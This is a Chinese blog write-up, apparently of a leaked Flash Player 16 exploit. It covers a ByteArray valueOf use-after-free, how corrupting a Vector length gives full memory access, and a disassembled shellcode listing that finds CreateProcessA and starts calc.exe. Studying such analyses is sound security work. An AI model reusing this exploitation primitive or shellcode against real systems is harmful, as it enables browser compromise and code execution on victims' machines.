不幸被截胡……文章发这儿吧………
content
1 触发原因 (来自Readme)
2 Win7+IE10+FLASH 16调试
3 shellcode
4 效果展示
1 漏洞触发原因
来自ReadMe:
在Flash中定义的ByteArray()对象,在里面添加一个数字类型的值,接着,向里面写入一个对象。
这个时候,AS3会显式调用MyClass的valueOf()方法,而valueOf方法可以重载,例如用户代码可以在代码中重载valueOf并设定对象的长度。
此时,该valueOf实际上会导致flash先保存之前的buffer指针,然后触发分配新内存时,之前保存的buffer实际上就无效了,但是后面toInteger依然会向之前的地址写入内容,写入内容可控,因此导致Uaf的发生。
2 实际例子
在Windows 7 x86+Flash Player 16.0+IE 10中调试如下,在泄露出的Swf的例子中,valueOf这里的反汇编代码为:
_ba.length=0x1100:
- 获取原Buffer,将原Buffer的内容(edi+8)给新Buffer,并且修改新Buffer的长度为0x1100。
自带的 readme中精简了不少,但差不多也是这个意思
当这个valueOf返回0x40时,事实上0x40写入的是原来的Buffer的地址(old edi),而在循环new Vector.(0x3f0);的时候,这个位置已经被vector占据了,因此写入的是vector的开头length部分,f0 03 00 00,被写完之后变为了f0 03 00 40,也即这个对象的大小变为了0x4000030f,因此足以跑到各种内存空间上。
被释放的ByteArray的Length部分的第一个字节被修改为了0x40,使得它的Length变为了0x4000030f
这样,引用这个vector的时候事实上可以访问非常大的内存空间,至此就转换成了经典的利用vector来搜索全内存的利用方式了。
3 shellcode
该swf使用的shellcode如下,使用CreateProcessA创建calc.exe。考虑到通用性,函数都是地址现场取的,前面的几个常量一看便知:
0:026> uf 0x43bb1b8
Flow analysis was incomplete, some code may be missing
043bb1b8 55 push ebp
043bb1b9 8bec mov ebp,esp
043bb1bb 83c4ac add esp,0FFFFFFACh
043bb1be 53 push ebx
043bb1bf 51 push ecx
043bb1c0 57 push edi
043bb1c1 648b0530000000 mov eax,dword ptr fs:[30h]
043bb1c8 8b400c mov eax,dword ptr [eax+0Ch]
043bb1cb 8b400c mov eax,dword ptr [eax+0Ch]
043bb1ce 8b00 mov eax,dword ptr [eax]
043bb1d0 8b00 mov eax,dword ptr [eax]
043bb1d2 8b5818 mov ebx,dword ptr [eax+18h]
043bb1d5 89d8 mov eax,ebx
043bb1d7 03403c add eax,dword ptr [eax+3Ch]
043bb1da 8b5078 mov edx,dword ptr [eax+78h]
043bb1dd 01da add edx,ebx
043bb1df 8b7a20 mov edi,dword ptr [edx+20h]
043bb1e2 01df add edi,ebx
043bb1e4 31c9 xor ecx,ecx
this article comes from www.nul.pw author blast
043bb1e6 8b07 mov eax,dword ptr [edi]
043bb1e8 01d8 add eax,ebx
043bb1ea 813843726561 cmp dword ptr [eax],61657243h ;Crea
043bb1f0 751c jne 043bb20e
043bb1f2 81780b73734100 cmp dword ptr [eax+0Bh],417373h ;ssA //CreateProcessA
043bb1f9 7513 jne 043bb20e
043bb1fb 8b4224 mov eax,dword ptr [edx+24h]
043bb1fe 01d8 add eax,ebx
043bb200 0fb70448 movzx eax,word ptr [eax+ecx*2]
043bb204 8b521c mov edx,dword ptr [edx+1Ch]
043bb207 01da add edx,ebx
043bb209 031c82 add ebx,dword ptr [edx+eax*4]
043bb20c eb09 jmp 043bb217
043bb20e 83c704 add edi,4
043bb211 41 inc ecx
043bb212 3b4a18 cmp ecx,dword ptr [edx+18h]
043bb215 7ccf jl 043bb1e6
043bb217 8d45f0 lea eax,[ebp-10h]
043bb21a 50 push eax
043bb21b 8d7dac lea edi,[ebp-54h]
043bb21e 57 push edi
043bb21f 31c0 xor eax,eax
043bb221 b911000000 mov ecx,11h
043bb226 f3ab rep stos dword ptr es:[edi]
043bb228 c745ac44000000 mov dword ptr [ebp-54h],44h
043bb22f 50 push eax
043bb230 50 push eax
043bb231 50 push eax
043bb232 50 push eax
043bb233 50 push eax
043bb234 50 push eax
043bb235 e809000000 call 043bb243
043bb23a 63616c arpl word ptr [ecx+6Ch],sp
043bb23d 632e arpl word ptr [esi],bp
043bb23f 657865 js 043bb2a7
043bb242 0050ff add byte ptr [eax-1],dl
043bb245 d35f59 rcr dword ptr [edi+59h],cl
043bb248 5b pop ebx
043bb249 c1e003 shl eax,3
043bb24c 83c006 add eax,6
043bb24f c9 leave
043bb250 c3 ret
4 效果
图:Win7 IE9启动了calc.exe